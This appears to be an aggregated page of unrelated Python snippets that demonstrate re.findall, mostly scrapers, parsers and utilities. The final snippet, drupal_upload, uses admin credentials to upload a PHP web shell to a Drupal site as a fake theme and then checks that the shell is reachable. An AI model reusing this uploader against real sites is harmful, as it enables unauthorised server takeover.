Python re.findall函数代码示例

	def DownloadUpdate(self, file):
		self.log('Downloading: %s' % file)
		dirfile = os.path.join(self.UpdateTempDir,file)
		dirname, filename = os.path.split(dirfile)
		if not os.path.isdir(dirname):
			try:
				os.makedirs(dirname)
			except:
				self.log('Error creating directory: '  +dirname)
		url = self.SVNPathAddress+urllib.quote(file)
		try:
			if re.findall(".xbt",url):
				self.totalsize = int(re.findall("File length: ([0-9]*)",urllib2.urlopen(url+"?view=log").read())[0])
				urllib.urlretrieve( url.decode("utf-8"), dirfile.decode("utf-8"))
			else: urllib.urlretrieve( url.decode("utf-8"), dirfile.decode("utf-8") )
			self.DownloadedFiles.append(urllib.unquote(url))
			return 1
		except:
			try:
				time.sleep(2)
				if re.findall(".xbt",url):
					self.totalsize = int(re.findall("File length: ([0-9]*)",urllib2.urlopen(url+"?view=log").read())[0])
					urllib.urlretrieve(url.decode("utf-8"), dirfile.decode("utf-8"))
				else: urllib.urlretrieve(url.decode("utf-8"), dirfile.decode("utf-8") )
				urllib.urlretrieve(url.decode("utf-8"), dirfile.decode("utf-8"))
				self.DownloadedFiles.append(urllib.unquote(url))
				return 1
			except:
				self.log("Download failed: %s" % url)
				self.DownloadFailedFiles.append(urllib.unquote(url))
				return 0

def ident_author(name, pp=prompt_possibles):
    orig_name = name
    name = ''.join(re.findall('[A-Z0-9]+',name.upper()))
    best_authors = []
    with open('sample_data/author_names.json', 'r') as f:
        j = json.load(f)
        for b in j['results']['bindings']:
            author_orig = b['name']['value']
            uri = b['author']['value']
            author = b['name']['value'].upper()
            subnames = author_orig.split()
            author = ''.join(re.findall('[A-Z0-9]+',author))
            dist = jaccard_ngram_dist(name,author,3)
            best_authors.append(((author_orig,uri),dist))
            if len(subnames)>=2:
                for sname in [subnames[0], subnames[-1]]:
                    sname = ''.join(re.findall('[A-Z0-9]+',sname))
                    dist = jaccard_ngram_dist(name,sname,3)
                    best_authors.append(((author_orig,uri),dist))
            if len(best_authors)>20:
                best_authors.sort(key=lambda x:x[1])
                best_authors = best_authors[:5]
    best_authors.sort(key=lambda x:x[1])
    best_authors = best_authors[:5]
    best_dist = best_authors[0][1]
    possibles = [best_authors[0][0]]
    for author, dist in best_authors[1:]:
        percent_diff = (dist-best_dist)*2/float(dist+best_dist)
        if percent_diff < __CUTOFF__:
            possibles.append(author)
    if len(possibles)>1:
        identified = pp(orig_name, possibles)
    else:
        identified = possibles[0]
    return identified

def wigle_print(username, password, netid):
    browser = mechanize.Browser()

    browser.open('http://wigle.net')
    reqData = urllib.urlencode({'credential_0': username,
                                'credential_1': password})

    browser.open('https://wigle.net//gps/gps/main/login', reqData)

    params = {}
    params['netid'] = netid
    reqParams = urllib.urlencode(params)
    respURL = 'http://wigle.net/gps/gps/main/confirmquery/'
    resp = browser.open(respURL, reqParams).read()

    mapLat = 'N/A'
    mapLon = 'N/A'
    rLat = re.findall(r'maplat=.*\&', resp)

    if rLat:
        mapLat = rLat[0].split('&')[0].split('=')[1]
        rLon = re.findall(r'maplon=.*\&', resp)

    if rLon:
        mapLon = rLon[0].split

    print '[-] Lat: ' + mapLat + ', Lon: ' + mapLon

def parse_log(log_file):
    with open(log_file, 'r') as log_file2:
        log = log_file2.read()

    loss_pattern = r"Iteration (?P<iter_num>\d+), loss = (?P<loss_val>[+-]?(\d+(\.\d*)?|\.\d+)([eE][+-]?\d+)?)"
    losses = []
    loss_iterations = []

    fileName= os.path.basename(log_file)
    for r in re.findall(loss_pattern, log):
        loss_iterations.append(int(r[0]))
        losses.append(float(r[1]))

    loss_iterations = np.array(loss_iterations)
    losses = np.array(losses)

    accuracy_pattern = r"Iteration (?P<iter_num>\d+), Testing net \(#0\)\n.* accuracy = (?P<accuracy>[+-]?(\d+(\.\d*)?|\.\d+)([eE][+-]?\d+)?)"
    accuracies = []
    accuracy_iterations = []
    accuracies_iteration_checkpoints_ind = []

    for r in re.findall(accuracy_pattern, log):
        iteration = int(r[0])
        accuracy = float(r[1]) * 100

        if iteration % 10000 == 0 and iteration > 0:
            accuracies_iteration_checkpoints_ind.append(len(accuracy_iterations))

        accuracy_iterations.append(iteration)
        accuracies.append(accuracy)

    accuracy_iterations = np.array(accuracy_iterations)
    accuracies = np.array(accuracies)
	
    return loss_iterations, losses, accuracy_iterations, accuracies, accuracies_iteration_checkpoints_ind, fileName

def getCategoryUrl(site="",url=""):
    catDb = openTable(tableName=global_setting['catTable'])
    r = session.get(url)
    if not r.text:
        return False

    soup = BeautifulSoup(r.text)
    for level1 in soup.select('.classify_books'):
        curLevel1 = level1.select('.classify_title')[0].text
        curLevel1 = re.sub('\s', '', curLevel1)
        for level2 in level1.select('.classify_kind'):
            curLevel2 = level2.select('.classify_kind_name')[0].text
            curLevel2 = re.sub('\s', '', curLevel2)
            for level3 in level2.select('ul li a'):
                #curLevel3 = re.sub('\s', '', level3.text)
                curLevel3 =  level3.text.strip()
                curlUrl = level3['href']
                retFind = re.findall(r'\/cp(.*)\.html',curlUrl)
                if retFind:
                    curCatID = retFind[0]
                    catType = 'book'
                else:
                    retFind = re.findall(r'\/cid(.*)\.html',curlUrl)
                    if retFind:
                        curCatID = retFind[0]
                        catType = 'nonbook'
                if retFind:
                    if catDb.find({'catId':curCatID}).count() >0:
                        logger.debug('catetogy %s exists,skip\n'%(curCatID))
                    else:
                        catDb.insert({'catId':curCatID,'level1':curLevel1, 'level2':curLevel2, 'level3':curLevel3, 'catUrl':curlUrl,'catType':catType, 'site':site})
    return True

def __load_testdata(file):
   """
   Reads the testdata out of a file.  Testdata consists of exactly three 
   strings on each line, each one enclosed in quotation marks (" or ').  
   The first is the filename to be parsed, the second is the series name
   that should be parsed out of it, and the third is the issue number string
   that should be parsed out of it.
   
   Blank lines and lines that begin with # are ignored.
   """
   retval = []
   if File.Exists(file): 
      with StreamReader(file, Encoding.UTF8, False) as sr:
         line = sr.ReadLine()
         while line is not None:
            line = line.strip()
            if len(line) > 0 and not line.startswith("#"):
               if line.startswith('"'):
                  data = re.findall(r'"(.*?)"', line)
               else:
                  data = re.findall(r"'(.*?)'", line)
               if len(data) == 3:
                  data.append("")
               if len(data) != 4:
                  raise Exception("badly formatted test data");
               retval.append( data ) 
            line = sr.ReadLine()
   return retval

 def extractSrcFileData(self, path):
     fileinput.close()
     isLocListener = False
     wakeLockAcqRegex = "invoke-virtual(.*?)Landroid/os/PowerManager$WakeLock;->acquire()"
     domRegex = "invoke-virtual(.*?)Ljavax/xml/parsers/DocumentBuilderFactory;->newDocumentBuilder()"
     saxRegex = "invoke-virtual(.*?)Ljavax/xml/parsers/SAXParserFactory;->newSAXParser()"
     xmlppRegex = "invoke-static(.*?)Landroid/util/Xml;->newPullParser()"
     for line in fileinput.input([path]):
         matches = re.findall(wakeLockAcqRegex, line)
         if len(matches) > 0:
             self.numNoTimeoutWakeLocks = self.numNoTimeoutWakeLocks + 1
         if line.startswith(".implements Landroid/location/LocationListener;"):
             self.numLocListeners = self.numLocListeners + 1
             isLocListener = True
         if isLocListener:
             if "\"gps\"" in line:
                 self.numGpsUses = self. numGpsUses + 1
         matches = re.findall(domRegex, line)
         if len(matches) > 0:
             self.numDomParser = self.numDomParser + 1
         matches = re.findall(saxRegex, line)
         if len(matches) > 0:
             self.numSaxParser = self.numSaxParser + 1
         matches = re.findall(xmlppRegex, line)
         if len(matches) > 0:
             self.numXMLPullParser = self.numXMLPullParser + 1

def ReadProtonCounts(inchi):
    import re

    #Get inchi layers
    layers = inchi.split('/')
    ProtLayer = ''
    FixedLayer = ''
    for l in layers[1:]:
        if 'C' in l and 'H' in l:
            atoms = re.findall(r"[a-zA-Z]+", l)
            indexes = [int(x) for x in re.findall(r"\d+", l)]
            formula = [list(x) for x in zip(atoms, indexes)]
        if 'h' in l and ProtLayer != '':
            FixedLayer = l[1:]
        if 'h' in l and ProtLayer == '':
            ProtLayer = l[1:]

    #initialize proton list
    nheavy = sum([x[1] for x in formula if x[0] != 'H'])

    #Find, save and remove tautomeric portions from main proton layer
    tautomerics = re.findall(r"\(.*?\)", ProtLayer)
    ProtLayer = re.sub(r"\(.*?\)", "", ProtLayer)
    if ProtLayer[-1] == ',':
        ProtLayer = ProtLayer[:-1]

    #Read the main and the fixed proton layer
    protons = ReadPSections(ProtLayer, nheavy)
    fprotons = ReadPSections(FixedLayer, nheavy)

    return protons, formula, tautomerics, fprotons

 def evalAtom(self, atom, param_names):
     if atom in self.consts:
         return '(const _%s)'%atom
     elif atom in param_names:
         return '(param (paramref \"%s\"))'%atom
     elif re.match(r'^\d+$', atom):
         return '(const (intc %s))'%atom
     elif atom.lower() in ['true', 'false']:
         return '(const (boolc %s))'%atom.lower()
     elif re.match(r'^forall.*end$', atom) or re.match(r'^exists.*?end$', atom):
         if re.match(r'^forall.*end$', atom):
             params, text = re.findall(r'forall(.*?)do(.*)end', atom)[0]
         else:
             params, text = re.findall(r'exists(.*?)do(.*)end', atom)[0]
         param_name_dict, param_defs = analyzeParams(params)
         for p in param_names:
             if p not in param_name_dict: param_name_dict[p] = 0
         text = self.splitText(text)
         sub_form = self.evaluate(self.process(text), param_name_dict)
         if re.match(r'^forall.*?end$', atom):
             return '(forallFormula %s %s)'%(param_defs, sub_form)
         else:
             return '(existFormula %s %s)'%(param_defs, sub_form)
     else:
         return '(var %s)'%self.evalVar(atom)

	def showCovers_adddetail_csfd(self, data, title):
		title_s = re.findall('<title>(.*?)\|', data, re.S)
		if title_s:
			if title_s[0] != "Vyhled\xc3\xa1v\xc3\xa1n\xc3\xad ":
				csfd_title = title_s[0]
			else:
				csfd_title = title
			print "EMC csfd: Movie name - %s" % csfd_title
		else:
			csfd_title = title
		bild = re.findall('<img src="(//img.csfd.cz/files/images/film/posters/.*?|//img.csfd.cz/posters/.*?)" alt="poster"', data, re.DOTALL | re.IGNORECASE)
		if bild:
			print "EMC csfd: Cover Select - %s" % title
			self.cover_count = self.cover_count + 1
			csfd_url = "http:" + bild[0].replace('\\','').strip()
			self.menulist.append(showCoverlist(csfd_title, csfd_url, self.o_path, "csfd: "))
			self["info"].setText((_("found") + " %s " + _("covers")) % (self.cover_count))
			bild = re.findall('<h3>Plak.*?ty</h3>(.*?)</table>', data, re.S)
			if bild:
				bild1 = re.findall('style=\"background-image\: url\(\'(.*?)\'\)\;', bild[0], re.DOTALL | re.IGNORECASE)
				if bild1:
					for each in bild1:
						print "EMC csfd: Cover Select - %s" % title
						self.cover_count = self.cover_count + 1
						csfd_url = "http:" + each.replace('\\','').strip()
						self.menulist.append(showCoverlist(csfd_title, csfd_url, self.o_path, "csfd: "))
						self["info"].setText((_("found") + " %s " + _("covers")) % (self.cover_count))
				else:
					print "EMC csfd 3 : no else covers - %s" % title
			else:
				print "EMC csfd 2 : no else covers - %s" % title
		else:
			print "EMC csfd 1 : keine infos gefunden - %s" % title

def __get_dom_elements(item, name, attrs):
    if not attrs:
        pattern = '(<%s(?:\s[^>]*>|/?>))' % (name)
        this_list = re.findall(pattern, item, re.M | re.S | re.I)
    else:
        last_list = None
        for key, value in attrs.iteritems():
            value_is_regex = isinstance(value, re_type)
            value_is_str = isinstance(value, basestring)
            pattern = '''(<{tag}[^>]*\s{key}=(?P<delim>['"])(.*?)(?P=delim)[^>]*>)'''.format(tag=name, key=key)
            re_list = re.findall(pattern, item, re.M | re. S | re.I)
            if value_is_regex:
                this_list = [r[0] for r in re_list if re.match(value, r[2])]
            else:
                temp_value = [value] if value_is_str else value
                this_list = [r[0] for r in re_list if set(temp_value) <= set(r[2].split(' '))]
                
            if not this_list:
                has_space = (value_is_regex and ' ' in value.pattern) or (value_is_str and ' ' in value)
                if not has_space:
                    pattern = '''(<{tag}[^>]*\s{key}=((?:[^\s>]|/>)*)[^>]*>)'''.format(tag=name, key=key)
                    re_list = re.findall(pattern, item, re.M | re. S | re.I)
                    if value_is_regex:
                        this_list = [r[0] for r in re_list if re.match(value, r[1])]
                    else:
                        this_list = [r[0] for r in re_list if value == r[1]]
    
            if last_list is None:
                last_list = this_list
            else:
                last_list = [item for item in this_list if item in last_list]
        this_list = last_list
    
    return this_list

def weatherReport():
	htmlfile = urllib.urlopen('http://www.weather.com/weather/today/Mahomet+IL+61853:4:US')
	htmltext = htmlfile.read()

	rnTemp =  '<span itemprop="temperature-fahrenheit">(.+?)</span>'
	conditions = '<div class="wx-phrase ">(.+?)</div>'
	tonightTemp = '<div class="wx-temperature">(.+?)</div>'

	rntPattern = re.compile(rnTemp)
	conditionsPattern = re.compile(conditions)
	tonightTempPattern = re.compile(tonightTemp)


	rntInstance = re.findall(rntPattern, htmltext)
	conditionsInstance = re.findall(conditionsPattern, htmltext)
	tonightTempInstance = re.findall(tonightTempPattern, htmltext)

	
	currentConditions = conditionsInstance[0]
	tonightConditions = conditionsInstance[2]
	currentTemp  = rntInstance[0]
	tonightTemp = tonightTempInstance[2][:2]
	print currentTemp

	to = ['[email protected]', '[email protected]']
	sender = 'weather.bot1'
	subject = 'Your Daily Weather Forecast is Here'
	bodymsg = "Right now: " + currentTemp +' degrees.' + '  '  + currentConditions + '.' + "\n"  +"Tonight: "  + \
			   tonightTemp + ' degrees.' + '  ' + tonightConditions + '.\n\n' + "Read more about today's weather here: "\
			   "http://www.weather.com/weather/today/Mahomet+IL+61853:4:US" + "\n"  + "This message was mad by request via WeatherBot.\nHave a great day."

	for address in to:
		createMessage(address, '[email protected]', 'skytower', subject, bodymsg)

	return

    def get_episode(self,url):
        html = self.fetch_url(url)
        divs = re.findall(r'<div id="fenji_\d+_(asc|\d+)"(.*?)<\/div>', html) 
        result = []
        if divs:
            for div in divs:
                #                              链接                                   第N集                 小标题
                r = re.findall(r'<h3><a href="(.*?)" target="_blank" title=".*?">.*?(第\d+集)<\/a></h3><h4>(.+?)</h4>', div[1])

                if r:     #电视剧
                    for ep_data in r:
                        result.append({"title":ep_data[1] + " " + ep_data[2],
                                        "img":"",
                                        "url":ep_data[0]})
                                        
                else: 
                    
                    #                             链接                          标题   小标题            期数(日期)
                    r = re.findall(r'<h3><a href="(.*?)" target="_blank" title="(.*?)">(.*?)<\/a></h3><h4>(.+?)期</h4>', div[1])
                    if r:  #综艺
                        for ep_data in r:
                            dateA = ep_data[3].split("-")
                            date = ""
                            if len(dateA) == 3:  #2012-08-12
                                date = "%s.%s.%s" % (dateA[2],dateA[1],dateA[0])
                            result.append({"title":ep_data[1] + " " + ep_data[2],
                                        "img":"",
                                        "url":ep_data[0],
                                        "date":date})
        return result           
             
#aa = IkankanResolver("http://data.movie.kankan.com/movie/38534?id=731018")

def parse_current_docket(docket_record):
    # grab the file with the URL mangled slightly to grab 100k records
    docket_file = urllib2.urlopen(docket_record['url'] + "&ctl00_ctl00_cphContentMain_MainContent_gvCommentListChangePage=1_100000").read()
    page = pq(etree.fromstring(docket_file, parser))

    docket = dict(docket_record)

    docket['title'] = page('.dyn_wrap h1').text().strip()
    assert docket['title'], 'no title found'

    headers = [item.text().strip() for item in page('.rgMasterTable thead th').items()]

    docket['comments'] = []

    # check if there's a no-records message
    if len(page('.rgMasterTable .rgNoRecords')):
        return docket
    
    for row in page('.rgMasterTable tbody tr').items():
        tds = row.find('td')
        cell_text = [item.text().strip() for item in tds.items()]
        cdata = dict(zip(headers, cell_text))
        
        link = pq(tds[-1]).find('a')

        doc = {
            'url': urlparse.urljoin(docket['url'], link.attr('href')),
            'details': {},
            'release': [fix_spaces(cdata['Release'])],
            'date': cdata['Date Received'],
            'doctype': 'public_submission',
        }

        vc_matches = re.findall(r"ViewComment\.aspx\?id=(\d+)", doc['url'])
        if vc_matches:
            doc['id'] = vc_matches[0]
            doc['subtype'] = 'comment'
            detail_columns = ['Organization', 'First Name', 'Last Name']
        else:
            ep_matches = re.findall(r"ViewExParte\.aspx\?id=(\d+)", doc['url'])
            if ep_matches:
                doc['id'] = "EP-%s" % ep_matches[0]
                doc['subtype'] = 'exparte'
                detail_columns = ['Organization']
            else:
                assert False, "expected either comment or exparte link: %s" % doc['url']

        for rdg_label, cftc_label in (('Organization Name', 'Organization'), ('First Name', 'First Name'), ('Last Name', 'Last Name')):
            if cftc_label in detail_columns and cdata[cftc_label]:
                doc['details'][rdg_label] = cdata[cftc_label]

        docket['comments'].append(doc)

    assert len(docket['comments']) < 100000, "we probably exceeded one page"

    # then strip out all the ones that aren't about this document
    release = fix_spaces(page('a[id*=rptReleases_hlReleaseLink]').text().strip())
    docket['comments'] = [comment for comment in docket['comments'] if comment['release'][0] == release]

    return docket

def drupal_upload(url, login, pwd):
  print '[*] Trying to install theme with shell.'
  dpl_sess = drupal_admin(url, login, pwd)
  info = 'name = '+globals.SHELL_NAME+'\ndescription = '+globals.SHELL_NAME+'\npackage = public-action\nversion = VERSION\ncore = 7.x\nfiles[] = '+globals.SHELL_EXT
  page = dpl_sess.get(url+"?q=admin/appearance/install")
  token1 = re.findall('<input type="hidden" name="form_build_id" value="(.*?)" />',page.text)
  token2 = re.findall('<input type="hidden" name="form_token" value="(.*?)" />',page.text)
  if (token1 == []) or (token2 == []):
    print '[-] Failed to get token. Login or password incorrect or not supported Drupal version.'
    sys.exit()
  post = {'form_build_id' : str(token1[0]),
          'form_token' : str(token2[0]),
          'form_id' : 'update_manager_install_form',
          'op' : 'Install'}
  print '[*] Creating %s.zip in current folder.' % (globals.SHELL_NAME)
  arch = zipfile.ZipFile(globals.SHELL_NAME+".zip", 'w')
  arch.writestr(globals.SHELL_NAME+"/"+globals.SHELL_EXT, globals.PHP_EXEC)
  arch.writestr(globals.SHELL_NAME+"/"+globals.SHELL_NAME+".info",info)
  arch.close()
  file = {'files[project_upload]' : (globals.SHELL_NAME+".zip",open(globals.SHELL_NAME+".zip",'rb'),'application/zip')}
  print '[*] Trying to upload zip file.'
  up = dpl_sess.post(url+"?q=admin/appearance/install",files=file,data=post,timeout=None)
  get_link = re.findall('URL=(.*?)" />',up.text)
  if not get_link:
    print '[-] Failed to upload zip file. Try one more time.'
    sys.exit()
  link = str(get_link[0]).replace('&amp;','&')
  dpl_sess.get(link)
  shell = url+"sites/all/themes/"+globals.SHELL_NAME+"/"+globals.SHELL_EXT
  check = dpl_sess.get(shell)
  if check.status_code == 200:
    return shell
  else:
    print '[-] Themes or tmp directories is not writable.'
    sys.exit()